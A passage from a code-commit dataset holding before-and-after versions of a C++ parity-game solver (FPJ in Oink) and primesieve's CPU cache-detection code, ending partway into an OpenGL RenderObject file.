strategy;\n\n logger << \"solved with \" << iterations << \" iterations.\" << std::endl;\n}\n\n\nvoid\nFPJSolver::runSeq()\n{\n \/**\n * Allocate and initialize data structures\n *\/\n\n int *strategy = new int[nodecount()]; \/\/ the current strategy\n bitset justified(nodecount()); \/\/ whether a vertex is justified\n bitset distraction(nodecount()); \/\/ whether a vertex is won by the opponent\n\n bitset parity(nodecount()); \/\/ optimization: precompute the parity of every vertex's priority\n for (int v=0; v<nodecount(); v++) parity[v] = priority(v)&1;\n\n uintqueue Q(nodecount());\n\n \/**\n * Initialize loop\n *\/\n\n int cur_parity = parity[0]; \/\/ parity of current block\n int i = 0; \/\/ the current vertex\n int blockstart = 0; \/\/ first vertex of the current block\n\n for (;;) {\n \/**\n * First detect if we are at the end of a block (vertices of same parity)\n *\/\n bool blockended = false;\n if (i == nodecount()) {\n blockended = true;\n } else {\n if (disabled[i]) { i++; continue; }\n if (parity[i] != cur_parity) blockended = true;\n }\n\n if (blockended) {\n if (Q.nonempty()) {\n \/**\n * First set as justified and distraction\n *\/\n for (unsigned int n=0; n<Q.size(); n++) {\n const int v = Q[n];\n justified[v] = true;\n distraction[v] = true;\n#ifndef NDEBUG\n if (trace >= 2) {\n logger << \"\\033[38;5;165;1mjustified*\\033[m \" << label_vertex(v);\n if (strategy[v] != -1) logger << \" => \" << label_vertex(strategy[v]);\n logger << std::endl;\n }\n#endif\n }\n \/**\n * We have to reset all justified vertices that are now no longer justified...\n *\/\n while (!Q.empty()) {\n const int v = Q.pop();\n for (auto curedge = ins(v); *curedge != -1; curedge++) {\n const int from = *curedge;\n if (justified[from]) {\n if (strategy[from] == -1 or strategy[from] == v) {\n#ifndef NDEBUG\n if (trace >= 2) logger << \"\\033[31;1mresetting\\033[m \" << label_vertex(from) << std::endl;\n#endif\n justified[from] = false; \/\/ no longer justified\n distraction[from] = false; \/\/ reset it\n Q.push(from);\n if (from < i) i = from; \/\/ afterwards, continue at lowest unjustified vertex\n }\n }\n }\n }\n#ifndef NDEBUG\n if (trace) logger << \"restarting after finding distractions of prio \" << priority(i-1) << std::endl;\n#endif\n iterations++;\n if (i > blockstart) i = blockstart;\n } else {\n \/\/ We now know that the current strategy of all unjustified vertices of the block is justified\n for (int v=blockstart; v<i; v++) {\n if (!disabled[v] and !justified[v]) {\n justified[v] = true;\n#ifndef NDEBUG\n if (trace >= 2) {\n logger << \"\\033[38;5;165;1mjustified\\033[m \" << label_vertex(v);\n if (strategy[v] != -1) logger << \" => \" << label_vertex(strategy[v]);\n logger << std::endl;\n }\n#endif\n }\n }\n }\n\n if (i == nodecount()) break; \/\/ in case the last block didn't result in unjustifications\n\n \/\/ continue with the new block, update the current parity\n cur_parity = parity[i];\n blockstart = i;\n }\n\n \/\/ if the current vertex is justified, we don't need to check it\n if (justified[i]) {\n i++;\n continue;\n }\n\n \/\/ compute one step winner of <i> and update the strategy\n int onestep_winner, str = -1;\n if (owner(i) == 0) {\n \/\/ see if player Even can go to a vertex currently good for Even\n onestep_winner = 1;\n for (auto curedge = outs(i); *curedge != -1; curedge++) {\n int to = *curedge;\n if (disabled[to]) continue;\n const int winner_to = parity[to] ^ distraction[to];\n if (winner_to == 0) {\n \/\/ good for player Even\n onestep_winner = 0;\n \/\/ and set the strategy\n str = to;\n break;\n }\n }\n } else {\n \/\/ see if player Odd can go to a vertex currently good for Odd\n onestep_winner = 0;\n for (auto curedge = outs(i); *curedge != -1; curedge++) {\n int to = *curedge;\n if (disabled[to]) continue;\n const int winner_to = parity[to] ^ distraction[to];\n if (winner_to == 1) {\n \/\/ good for player Odd\n onestep_winner = 1;\n \/\/ and set the strategy\n str = to;\n break;\n }\n }\n }\n\n strategy[i] = str;\n\n \/\/ evaluation stays the same\n if (cur_parity != onestep_winner) {\n Q.push(i); \/\/ add to the Queue, because all justified predecessors are now invalid\n#ifndef NDEBUG\n if (trace >= 2) {\n logger << \"\\033[38;5;165;1mjustified*\\033[m \" << label_vertex(i);\n if (strategy[i] != -1) logger << \" => \" << label_vertex(strategy[i]);\n logger << std::endl;\n }\n#endif\n }\n\n i++;\n }\n\n \/\/ done\n for (int v=0; v<nodecount(); v++) {\n if (disabled[v]) continue;\n const int winner = parity[v] ^ distraction[v];\n oink->solve(v, winner, winner == owner(v) ? strategy[v] : -1);\n }\n\n \/\/ free allocated data structures\n delete[] strategy;\n\n logger << \"solved with \" << iterations << \" iterations.\" << std::endl;\n}\n\nvoid\nFPJSolver::run()\n{\n if (greedy) runSeqGreedy();\n else runSeq();\n}\n\n}\n<commit_msg>FPJ: small performance enhancement<commit_after>\/*\n * Copyright 2020 Tom van Dijk\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <cassert>\n#include <cstring>\n#include <queue>\n#include <stack>\n\n#include \"fpj.hpp\"\n#include \"uintqueue.hpp\"\n\nnamespace pg {\n\nFPJSolver::FPJSolver(Oink *oink, Game *game) : Solver(oink, game)\n{\n}\n\nFPJSolver::~FPJSolver()\n{\n}\n\n\/**\n * Variation 1: greedy justification\n *\/\nvoid\nFPJSolver::runSeqGreedy()\n{\n \/**\n * Allocate and initialize data structures\n *\/\n\n int *strategy = new int[nodecount()]; \/\/ the current strategy\n bitset justified(nodecount()); \/\/ whether a vertex is justified\n bitset distraction(nodecount()); \/\/ whether a vertex is won by the opponent\n\n bitset parity(nodecount()); \/\/ optimization: precompute the parity of every vertex's priority\n for (int v=0; v<nodecount(); v++) parity[v] = priority(v)&1;\n\n uintqueue Q(nodecount());\n\n \/**\n * Initialize loop\n *\/\n\n bool blockchanged = false; \/\/ did the current block change (new distractions)\n int cur_parity = parity[0]; \/\/ parity of current block\n int i = 0; \/\/ the current vertex\n\n for (;;) {\n \/**\n * First detect if we are at the end of a block (vertices of same parity)\n *\/\n bool blockended = false;\n if (i == nodecount()) {\n blockended = true;\n } else {\n if (disabled[i]) { i++; continue; }\n if (parity[i] != cur_parity) blockended = true;\n }\n\n if (blockended) {\n if (blockchanged) {\n \/**\n * We have to reset all justified vertices that are now no longer justified...\n *\/\n while (!Q.empty()) {\n const int v = Q.pop();\n for (auto curedge = ins(v); *curedge != -1; curedge++) {\n const int from = *curedge;\n if (justified[from]) {\n if (strategy[from] == -1 or strategy[from] == v) {\n#ifndef NDEBUG\n if (trace >= 2) logger << \"\\033[31;1mresetting\\033[m \" << label_vertex(from) << std::endl;\n#endif\n justified[from] = false;\n distraction[from] = false; \/\/ reset it\n Q.push(from);\n if (from < i) i = from; \/\/ afterwards, continue at lowest unjustified vertex\n }\n }\n }\n }\n#ifndef NDEBUG\n if (trace) logger << \"restarting after finding distractions of prio \" << priority(i-1) << std::endl;\n#endif\n iterations++;\n blockchanged = false;\n }\n\n if (i == nodecount()) break; \/\/ in case the last block didn't result in unjustifications\n\n \/\/ continue with the new block, update the current parity\n cur_parity = parity[i];\n }\n\n \/\/ if the current vertex is justified, we don't need to check it\n if (justified[i]) { i++; continue; }\n justified[i] = true;\n\n \/\/ compute one step winner of <i> and update the strategy\n int onestep_winner, str = -1;\n if (owner(i) == 0) {\n \/\/ see if player Even can go to a vertex currently good for Even\n onestep_winner = 1;\n for (auto curedge = outs(i); *curedge != -1; curedge++) {\n int to = *curedge;\n if (disabled[to]) continue;\n const int winner_to = parity[to] ^ distraction[to];\n if (winner_to == 0) {\n \/\/ good for player Even\n onestep_winner = 0;\n \/\/ and set the strategy\n str = to;\n break;\n }\n }\n } else {\n \/\/ see if player Odd can go to a vertex currently good for Odd\n onestep_winner = 0;\n for (auto curedge = outs(i); *curedge != -1; curedge++) {\n int to = *curedge;\n if (disabled[to]) continue;\n const int winner_to = parity[to] ^ distraction[to];\n if (winner_to == 1) {\n \/\/ good for player Odd\n onestep_winner = 1;\n \/\/ and set the strategy\n str = to;\n break;\n }\n }\n }\n\n strategy[i] = str;\n\n \/\/ evaluation stays the same\n if (cur_parity != onestep_winner) {\n Q.push(i); \/\/ add to the Queue, because all justified predecessors are now invalid\n distraction[i] = true;\n blockchanged = true;\n#ifndef NDEBUG\n if (trace >= 2) {\n logger << \"\\033[38;5;165;1mjustified*\\033[m \" << label_vertex(i);\n if (strategy[i] != -1) logger << \" => \" << label_vertex(strategy[i]);\n logger << std::endl;\n }\n#endif\n } else {\n#ifndef NDEBUG\n if (trace >= 2) {\n logger << \"\\033[38;5;165;1mjustified\\033[m \" << label_vertex(i);\n if (strategy[i] != -1) logger << \" => \" << label_vertex(strategy[i]);\n logger << std::endl;\n }\n#endif\n }\n\n i++;\n }\n\n \/\/ done\n for (int v=0; v<nodecount(); v++) {\n if (disabled[v]) continue;\n const int winner = parity[v] ^ distraction[v];\n oink->solve(v, winner, winner == owner(v) ? strategy[v] : -1);\n }\n\n \/\/ free allocated data structures\n delete[] strategy;\n\n logger << \"solved with \" << iterations << \" iterations.\" << std::endl;\n}\n\n\nvoid\nFPJSolver::runSeq()\n{\n \/**\n * Allocate and initialize data structures\n *\/\n\n int *strategy = new int[nodecount()]; \/\/ the current strategy\n bitset justified(nodecount()); \/\/ whether a vertex is justified\n bitset distraction(nodecount()); \/\/ whether a vertex is won by the opponent\n\n bitset parity(nodecount()); \/\/ optimization: precompute the parity of every vertex's priority\n for (int v=0; v<nodecount(); v++) parity[v] = priority(v)&1;\n\n uintqueue Q(nodecount());\n\n \/**\n * Initialize loop\n *\/\n\n bool blockchanged = false; \/\/ did the current block change (new distractions)\n int cur_parity = parity[0]; \/\/ parity of current block\n int i = 0; \/\/ the current vertex\n int blockstart = 0; \/\/ first vertex of the current block\n\n for (;;) {\n \/**\n * First detect if we are at the end of a block (vertices of same parity)\n *\/\n bool blockended = false;\n if (i == nodecount()) {\n blockended = true;\n } else {\n if (disabled[i]) { i++; continue; }\n if (parity[i] != cur_parity) blockended = true;\n }\n\n if (blockended) {\n if (blockchanged) {\n \/**\n * We have to reset all justified vertices that are now no longer justified...\n *\/\n while (!Q.empty()) {\n const int v = Q.pop();\n for (auto curedge = ins(v); *curedge != -1; curedge++) {\n const int from = *curedge;\n if (disabled[from]) continue;\n if (justified[from]) {\n if (strategy[from] == -1 or strategy[from] == v) {\n#ifndef NDEBUG\n if (trace >= 2) logger << \"\\033[31;1mresetting\\033[m \" << label_vertex(from) << std::endl;\n#endif\n justified[from] = false;\n distraction[from] = false; \/\/ reset it\n Q.push(from);\n if (from < i) i = from; \/\/ afterwards, continue at lowest unjustified vertex\n }\n }\n }\n }\n#ifndef NDEBUG\n if (trace) logger << \"restarting after finding distractions of prio \" << priority(i-1) << std::endl;\n#endif\n iterations++;\n blockchanged = false;\n if (i > blockstart) i = blockstart;\n } else {\n \/\/ We now know that the current strategy of all unjustified vertices of the block is justified\n for (int v=blockstart; v<i; v++) {\n if (!disabled[v] and !justified[v]) {\n justified[v] = true;\n#ifndef NDEBUG\n if (trace >= 2) {\n logger << \"\\033[38;5;165;1mjustified\\033[m \" << label_vertex(v);\n if (strategy[v] != -1) logger << \" => \" << label_vertex(strategy[v]);\n logger << std::endl;\n }\n#endif\n }\n }\n }\n\n if (i == nodecount()) break; \/\/ in case the last block didn't result in unjustifications\n\n \/\/ continue with the new block, update the current parity\n cur_parity = parity[i];\n blockstart = i;\n }\n\n \/\/ if the current vertex is justified, we don't need to check it\n if (justified[i]) {\n i++;\n continue;\n }\n\n \/\/ compute one step winner of <i> and update the strategy\n int onestep_winner, str = -1;\n if (owner(i) == 0) {\n \/\/ see if player Even can go to a vertex currently good for Even\n onestep_winner = 1;\n for (auto curedge = outs(i); *curedge != -1; curedge++) {\n int to = *curedge;\n if (disabled[to]) continue;\n const int winner_to = parity[to] ^ distraction[to];\n if (winner_to == 0) {\n \/\/ good for player Even\n onestep_winner = 0;\n \/\/ and set the strategy\n str = to;\n break;\n }\n }\n } else {\n \/\/ see if player Odd can go to a vertex currently good for Odd\n onestep_winner = 0;\n for (auto curedge = outs(i); *curedge != -1; curedge++) {\n int to = *curedge;\n if (disabled[to]) continue;\n const int winner_to = parity[to] ^ distraction[to];\n if (winner_to == 1) {\n \/\/ good for player Odd\n onestep_winner = 1;\n \/\/ and set the strategy\n str = to;\n break;\n }\n }\n }\n\n strategy[i] = str;\n\n \/\/ evaluation stays the same\n if (cur_parity != onestep_winner) {\n Q.push(i); \/\/ add to the Queue, because all justified predecessors are now invalid\n distraction[i] = true;\n justified[i] = true;\n blockchanged = true;\n#ifndef NDEBUG\n if (trace >= 2) {\n logger << \"\\033[38;5;165;1mjustified*\\033[m \" << label_vertex(i);\n if (strategy[i] != -1) logger << \" => \" << label_vertex(strategy[i]);\n logger << std::endl;\n }\n#endif\n }\n\n i++;\n }\n\n \/\/ done\n for (int v=0; v<nodecount(); v++) {\n if (disabled[v]) continue;\n const int winner = parity[v] ^ distraction[v];\n oink->solve(v, winner, winner == owner(v) ? strategy[v] : -1);\n }\n\n \/\/ free allocated data structures\n delete[] strategy;\n\n logger << \"solved with \" << iterations << \" iterations.\" << std::endl;\n}\n\nvoid\nFPJSolver::run()\n{\n if (greedy) runSeqGreedy();\n else runSeq();\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\n\/\/\/ @file CpuInfo.cpp\n\/\/\/ @brief Get the CPUs cache sizes in bytes.\n\/\/\/\n\/\/\/ Copyright (C) 2017 Kim Walisch, <kim.walisch@gmail.com>\n\/\/\/\n\/\/\/ This file is distributed under the BSD License. See the COPYING\n\/\/\/ file in the top level directory.\n\/\/\/\n\n#include <primesieve\/CpuInfo.hpp>\n\n#include <cstddef>\n#include <exception>\n#include <vector>\n#include <string>\n\n#if defined(__APPLE__)\n #if !defined(__has_include)\n #define APPLE_SYSCTL\n #elif __has_include(<sys\/types.h>) && \\\n __has_include(<sys\/sysctl.h>)\n #define APPLE_SYSCTL\n #endif\n#endif\n\n#if defined(_WIN32)\n\n#include <windows.h>\n\n#elif defined(APPLE_SYSCTL)\n\n#include <sys\/types.h>\n#include <sys\/sysctl.h>\n\n#else \/\/ all other OSes\n\n#include <fstream>\n#include <sstream>\n\nusing namespace std;\n\nnamespace {\n\nstring getString(const string& filename)\n{\n ifstream file(filename);\n string str;\n\n if (file)\n {\n \/\/ https:\/\/stackoverflow.com\/a\/3177560\/363778\n stringstream trimmer;\n trimmer << file.rdbuf();\n trimmer >> str;\n }\n\n return str;\n}\n\nsize_t getValue(const string& filename)\n{\n string str = getString(filename);\n size_t val = stol(str);\n\n if (!str.empty())\n {\n \/\/ Last character may be:\n \/\/ 'K' = kilobytes\n \/\/ 'M' = megabytes\n \/\/ 'G' = gigabytes\n if (str.back() == 'K')\n val *= 1024;\n if (str.back() == 'M')\n val *= 1024 * 1024;\n if (str.back() == 'G')\n val *= 1024 * 1024 * 1024;\n }\n\n return val;\n}\n\n} \/\/ namespace\n\n#endif\n\nusing namespace std;\n\nnamespace primesieve {\n\nCpuInfo::CpuInfo()\n : l1CacheSize_(0),\n l2CacheSize_(0),\n privateL2Cache_(false)\n{\n try\n {\n initCache();\n\n if (!hasL1Cache() &&\n l1CacheSize_ > 0)\n {\n string msg = \"invalid L1 cache size: \" + to_string(l1CacheSize_);\n errors_.push_back(msg);\n }\n\n if (!hasL2Cache() &&\n l2CacheSize_ > 0)\n {\n string msg = \"invalid L2 cache size: \" + to_string(l2CacheSize_);\n errors_.push_back(msg);\n }\n }\n catch (exception& e)\n {\n errors_.push_back(e.what());\n }\n}\n\nsize_t CpuInfo::l1CacheSize() const\n{\n return l1CacheSize_;\n}\n\nsize_t CpuInfo::l2CacheSize() const\n{\n return l2CacheSize_;\n}\n\nbool CpuInfo::privateL2Cache() const\n{\n return privateL2Cache_;\n}\n\nvector<string> CpuInfo::getErrors() const\n{\n return errors_;\n}\n\nbool CpuInfo::hasL1Cache() const\n{\n return l1CacheSize_ >= (1 << 12) &&\n l1CacheSize_ <= (1ull << 40);\n}\n\nbool CpuInfo::hasL2Cache() const\n{\n return l2CacheSize_ >= (1 << 12) &&\n l2CacheSize_ <= (1ull << 40);\n}\n\n#if defined(APPLE_SYSCTL)\n\nvoid CpuInfo::initCache()\n{\n size_t l1Length = sizeof(l1CacheSize_);\n size_t l2Length = sizeof(l2CacheSize_);\n\n sysctlbyname(\"hw.l1dcachesize\", &l1CacheSize_, &l1Length, NULL, 0);\n sysctlbyname(\"hw.l2cachesize\" , &l2CacheSize_, &l2Length, NULL, 0);\n\n size_t size = 0;\n\n if (!sysctlbyname(\"hw.cacheconfig\", NULL, &size, NULL, 0))\n {\n size_t n = size \/ sizeof(size);\n vector<size_t> cacheconfig(n);\n\n if (cacheconfig.size() > 2)\n {\n \/\/ https:\/\/developer.apple.com\/library\/content\/releasenotes\/Performance\/RN-AffinityAPI\/index.html\n sysctlbyname(\"hw.cacheconfig\" , &cacheconfig[0], &size, NULL, 0);\n size_t l2CpuSharing = cacheconfig[2];\n\n if (l2CpuSharing <= 1)\n privateL2Cache_ = true;\n else\n {\n size_t logicalcpu = 1;\n size = sizeof(size);\n sysctlbyname(\"hw.logicalcpu\", &logicalcpu, &size, NULL, 0);\n logicalcpu = max<size_t>(1, logicalcpu);\n\n size_t physicalcpu = 1;\n size = sizeof(size);\n sysctlbyname(\"hw.physicalcpu\", &physicalcpu, &size, NULL, 0);\n physicalcpu = max<size_t>(1, physicalcpu);\n\n if (l2CpuSharing <= logicalcpu \/ physicalcpu)\n privateL2Cache_ = true;\n }\n }\n }\n}\n\n#elif defined(_WIN32)\n\nvoid CpuInfo::initCache()\n{\n typedef BOOL (WINAPI *LPFN_GLPI)(PSYSTEM_LOGICAL_PROCESSOR_INFORMATION, PDWORD);\n\n LPFN_GLPI glpi = (LPFN_GLPI) GetProcAddress(GetModuleHandle(TEXT(\"kernel32\")), \"GetLogicalProcessorInformation\");\n\n if (!glpi)\n return;\n\n DWORD bytes = 0;\n glpi(0, &bytes);\n\n if (!bytes)\n return;\n\n size_t size = bytes \/ sizeof(SYSTEM_LOGICAL_PROCESSOR_INFORMATION);\n vector<SYSTEM_LOGICAL_PROCESSOR_INFORMATION> info(size);\n\n if (!glpi(&info[0], &bytes))\n return;\n\n for (size_t i = 0; i < size; i++)\n {\n if (info[i].Relationship == RelationCache &&\n (info[i].Cache.Type == CacheData ||\n info[i].Cache.Type == CacheUnified))\n {\n if (info[i].Cache.Level == 1)\n l1CacheSize_ = info[i].Cache.Size;\n if (info[i].Cache.Level == 2)\n l2CacheSize_ = info[i].Cache.Size;\n\n \/\/ If the CPU has an L3 cache we assume the L2 cache\n \/\/ is private. This is more reliable than using\n \/\/ GetLogicalProcessorInformationEx() and\n \/\/ GROUP_AFFINITY.Mask\n if (info[i].Cache.Level == 3)\n privateL2Cache_ = true;\n }\n }\n}\n\n#else\n\n\/\/\/ This works on Linux and Android. We also use this\n\/\/\/ for all unknown OSes, it might work.\n\/\/\/\nvoid CpuInfo::initCache()\n{\n for (int i = 0; i <= 3; i++)\n {\n string filename = \"\/sys\/devices\/system\/cpu\/cpu0\/cache\/index\" + to_string(i);\n string threadSiblingsList = \"\/sys\/devices\/system\/cpu\/cpu0\/topology\/thread_siblings_list\";\n\n string cacheLevel = filename + \"\/level\";\n string cacheSize = filename + \"\/size\";\n string sharedCpuList = filename + \"\/shared_cpu_list\";\n string cacheType = filename + \"\/type\";\n\n size_t level = getValue(cacheLevel);\n string type = getString(cacheType);\n\n if (level == 1 &&\n (type == \"Data\" ||\n type == \"Unified\"))\n {\n l1CacheSize_ = getValue(cacheSize);\n }\n\n if (level == 2 &&\n (type == \"Data\" ||\n type == \"Unified\"))\n {\n l2CacheSize_ = getValue(cacheSize);\n sharedCpuList = getString(sharedCpuList);\n threadSiblingsList = getString(threadSiblingsList);\n\n \/\/ https:\/\/lwn.net\/Articles\/254445\/\n if (sharedCpuList.empty())\n privateL2Cache_ = true;\n else if (sharedCpuList == threadSiblingsList)\n privateL2Cache_ = true;\n }\n }\n}\n\n#endif\n\n\/\/\/ Singleton\nconst CpuInfo cpuInfo;\n\n} \/\/ namespace\n<commit_msg>Add Windows safety check<commit_after>\/\/\/\n\/\/\/ @file CpuInfo.cpp\n\/\/\/ @brief Get the CPUs cache sizes in bytes.\n\/\/\/\n\/\/\/ Copyright (C) 2017 Kim Walisch, <kim.walisch@gmail.com>\n\/\/\/\n\/\/\/ This file is distributed under the BSD License. See the COPYING\n\/\/\/ file in the top level directory.\n\/\/\/\n\n#include <primesieve\/CpuInfo.hpp>\n\n#include <cstddef>\n#include <exception>\n#include <vector>\n#include <string>\n\n#if defined(__APPLE__)\n #if !defined(__has_include)\n #define APPLE_SYSCTL\n #elif __has_include(<sys\/types.h>) && \\\n __has_include(<sys\/sysctl.h>)\n #define APPLE_SYSCTL\n #endif\n#endif\n\n#if defined(_WIN32)\n\n#include <windows.h>\n\n#elif defined(APPLE_SYSCTL)\n\n#include <sys\/types.h>\n#include <sys\/sysctl.h>\n\n#else \/\/ all other OSes\n\n#include <fstream>\n#include <sstream>\n\nusing namespace std;\n\nnamespace {\n\nstring getString(const string& filename)\n{\n ifstream file(filename);\n string str;\n\n if (file)\n {\n \/\/ https:\/\/stackoverflow.com\/a\/3177560\/363778\n stringstream trimmer;\n trimmer << file.rdbuf();\n trimmer >> str;\n }\n\n return str;\n}\n\nsize_t getValue(const string& filename)\n{\n string str = getString(filename);\n size_t val = stol(str);\n\n if (!str.empty())\n {\n \/\/ Last character may be:\n \/\/ 'K' = kilobytes\n \/\/ 'M' = megabytes\n \/\/ 'G' = gigabytes\n if (str.back() == 'K')\n val *= 1024;\n if (str.back() == 'M')\n val *= 1024 * 1024;\n if (str.back() == 'G')\n val *= 1024 * 1024 * 1024;\n }\n\n return val;\n}\n\n} \/\/ namespace\n\n#endif\n\nusing namespace std;\n\nnamespace primesieve {\n\nCpuInfo::CpuInfo()\n : l1CacheSize_(0),\n l2CacheSize_(0),\n privateL2Cache_(false)\n{\n try\n {\n initCache();\n\n if (!hasL1Cache() &&\n l1CacheSize_ > 0)\n {\n string msg = \"invalid L1 cache size: \" + to_string(l1CacheSize_);\n errors_.push_back(msg);\n }\n\n if (!hasL2Cache() &&\n l2CacheSize_ > 0)\n {\n string msg = \"invalid L2 cache size: \" + to_string(l2CacheSize_);\n errors_.push_back(msg);\n }\n }\n catch (exception& e)\n {\n errors_.push_back(e.what());\n }\n}\n\nsize_t CpuInfo::l1CacheSize() const\n{\n return l1CacheSize_;\n}\n\nsize_t CpuInfo::l2CacheSize() const\n{\n return l2CacheSize_;\n}\n\nbool CpuInfo::privateL2Cache() const\n{\n return privateL2Cache_;\n}\n\nvector<string> CpuInfo::getErrors() const\n{\n return errors_;\n}\n\nbool CpuInfo::hasL1Cache() const\n{\n return l1CacheSize_ >= (1 << 12) &&\n l1CacheSize_ <= (1ull << 40);\n}\n\nbool CpuInfo::hasL2Cache() const\n{\n return l2CacheSize_ >= (1 << 12) &&\n l2CacheSize_ <= (1ull << 40);\n}\n\n#if defined(APPLE_SYSCTL)\n\nvoid CpuInfo::initCache()\n{\n size_t l1Length = sizeof(l1CacheSize_);\n size_t l2Length = sizeof(l2CacheSize_);\n\n sysctlbyname(\"hw.l1dcachesize\", &l1CacheSize_, &l1Length, NULL, 0);\n sysctlbyname(\"hw.l2cachesize\" , &l2CacheSize_, &l2Length, NULL, 0);\n\n size_t size = 0;\n\n if (!sysctlbyname(\"hw.cacheconfig\", NULL, &size, NULL, 0))\n {\n size_t n = size \/ sizeof(size);\n vector<size_t> cacheconfig(n);\n\n if (cacheconfig.size() > 2)\n {\n \/\/ https:\/\/developer.apple.com\/library\/content\/releasenotes\/Performance\/RN-AffinityAPI\/index.html\n sysctlbyname(\"hw.cacheconfig\" , &cacheconfig[0], &size, NULL, 0);\n size_t l2CpuSharing = cacheconfig[2];\n\n if (l2CpuSharing <= 1)\n privateL2Cache_ = true;\n else\n {\n size_t logicalcpu = 1;\n size = sizeof(size);\n sysctlbyname(\"hw.logicalcpu\", &logicalcpu, &size, NULL, 0);\n logicalcpu = max<size_t>(1, logicalcpu);\n\n size_t physicalcpu = 1;\n size = sizeof(size);\n sysctlbyname(\"hw.physicalcpu\", &physicalcpu, &size, NULL, 0);\n physicalcpu = max<size_t>(1, physicalcpu);\n\n if (l2CpuSharing <= logicalcpu \/ physicalcpu)\n privateL2Cache_ = true;\n }\n }\n }\n}\n\n#elif defined(_WIN32)\n\nvoid CpuInfo::initCache()\n{\n typedef BOOL (WINAPI *LPFN_GLPI)(PSYSTEM_LOGICAL_PROCESSOR_INFORMATION, PDWORD);\n\n LPFN_GLPI glpi = (LPFN_GLPI) GetProcAddress(GetModuleHandle(TEXT(\"kernel32\")), \"GetLogicalProcessorInformation\");\n\n if (!glpi)\n return;\n\n DWORD bytes = 0;\n glpi(0, &bytes);\n\n if (!bytes)\n return;\n\n size_t size = bytes \/ sizeof(SYSTEM_LOGICAL_PROCESSOR_INFORMATION);\n vector<SYSTEM_LOGICAL_PROCESSOR_INFORMATION> info(size);\n\n if (!glpi(&info[0], &bytes))\n return;\n\n for (size_t i = 0; i < size; i++)\n {\n if (info[i].Relationship == RelationCache &&\n (info[i].Cache.Type == CacheData ||\n info[i].Cache.Type == CacheUnified))\n {\n if (info[i].Cache.Level == 1)\n l1CacheSize_ = info[i].Cache.Size;\n if (info[i].Cache.Level == 2)\n l2CacheSize_ = info[i].Cache.Size;\n\n \/\/ If the CPU has an L3 cache we assume the L2 cache\n \/\/ is private. This is more reliable than using\n \/\/ GetLogicalProcessorInformationEx() and\n \/\/ GROUP_AFFINITY.Mask\n if (info[i].Cache.Level == 3 &&\n info[i].Cache.Size > 0)\n privateL2Cache_ = true;\n }\n }\n}\n\n#else\n\n\/\/\/ This works on Linux and Android. We also use this\n\/\/\/ for all unknown OSes, it might work.\n\/\/\/\nvoid CpuInfo::initCache()\n{\n for (int i = 0; i <= 3; i++)\n {\n string filename = \"\/sys\/devices\/system\/cpu\/cpu0\/cache\/index\" + to_string(i);\n string threadSiblingsList = \"\/sys\/devices\/system\/cpu\/cpu0\/topology\/thread_siblings_list\";\n\n string cacheLevel = filename + \"\/level\";\n string cacheSize = filename + \"\/size\";\n string sharedCpuList = filename + \"\/shared_cpu_list\";\n string cacheType = filename + \"\/type\";\n\n size_t level = getValue(cacheLevel);\n string type = getString(cacheType);\n\n if (level == 1 &&\n (type == \"Data\" ||\n type == \"Unified\"))\n {\n l1CacheSize_ = getValue(cacheSize);\n }\n\n if (level == 2 &&\n (type == \"Data\" ||\n type == \"Unified\"))\n {\n l2CacheSize_ = getValue(cacheSize);\n sharedCpuList = getString(sharedCpuList);\n threadSiblingsList = getString(threadSiblingsList);\n\n \/\/ https:\/\/lwn.net\/Articles\/254445\/\n if (sharedCpuList.empty())\n privateL2Cache_ = true;\n else if (sharedCpuList == threadSiblingsList)\n privateL2Cache_ = true;\n }\n }\n}\n\n#endif\n\n\/\/\/ Singleton\nconst CpuInfo cpuInfo;\n\n} \/\/ namespace\n<|endoftext|>"} {"text":"<commit_before>\/\/ RenderObject.cpp\n\/\/ nativeGraphics\n\n#include \"RenderObject.h\"\n#include \"glsl_helper.h\"\n#include \"obj_parser.h\"\n#include \"transform.h\"\n#include \"common.h\"\n#include \"log.h\"\n\nRenderObject::RenderObject(const char *objFilename, const char *vertexShaderFilename, const char *fragmentShaderFilename) {\n \n \/\/ Parse obj file into an interleaved float buffer\n GLfloat * interleavedBuffer = getInterleavedBuffer((char *)resourceCallback(objFilename), numVertices, true, true);\n glGenBuffers(1, &gVertexBuffer);\n glBindBuffer(GL_ARRAY_BUFFER, gVertexBuffer);\n glBufferData(GL_ARRAY_BUFFER, numVertices * (3+3+2) * sizeof(float), interleavedBuffer, GL_STATIC_DRAW);\n glBindBuffer(GL_ARRAY_BUFFER, 0);\n checkGlError(\"VertexBuffer Generation\");\n free(interleavedBuffer);\n \n \/\/ Compile and link shader program\n gProgram = createProgram((char *)resourceCallback(vertexShaderFilename), (char *)resourceCallback(fragmentShaderFilename));\n \n \/\/ Get uniform and attrib locations\n gmvMatrixHandle = glGetUniformLocation(gProgram, \"u_MVMatrix\");\n gmvpMatrixHandle = glGetUniformLocation(gProgram, \"u_MVPMatrix\");\n gvPositionHandle = glGetAttribLocation(gProgram, \"a_Position\");\n gvNormals = glGetAttribLocation(gProgram, \"a_Normal\");\n gvTexCoords = glGetAttribLocation(gProgram, \"a_TexCoordinate\");\n textureUniform = glGetUniformLocation(gProgram, \"u_Texture\");\n checkGlError(\"glGetAttribLocation\");\n}\n\nvoid RenderObject::AddTexture(const char *textureFilename) {\n \/\/ Load textures\n GLubyte *imageData = (GLubyte *)resourceCallback(textureFilename); \/\/ TODO: Free this\n \n GLuint texName; \/\/ TODO\n glGenTextures(1, &texName);\n glBindTexture(GL_TEXTURE_2D, texName);\n glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 1024, 1024, 0, GL_RGBA, GL_UNSIGNED_BYTE, imageData); \/\/ TODO: hardcoded size\n\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT);\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT);\n glGenerateMipmap(GL_TEXTURE_2D);\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_LINEAR);\n \n glBindTexture(GL_TEXTURE_2D, 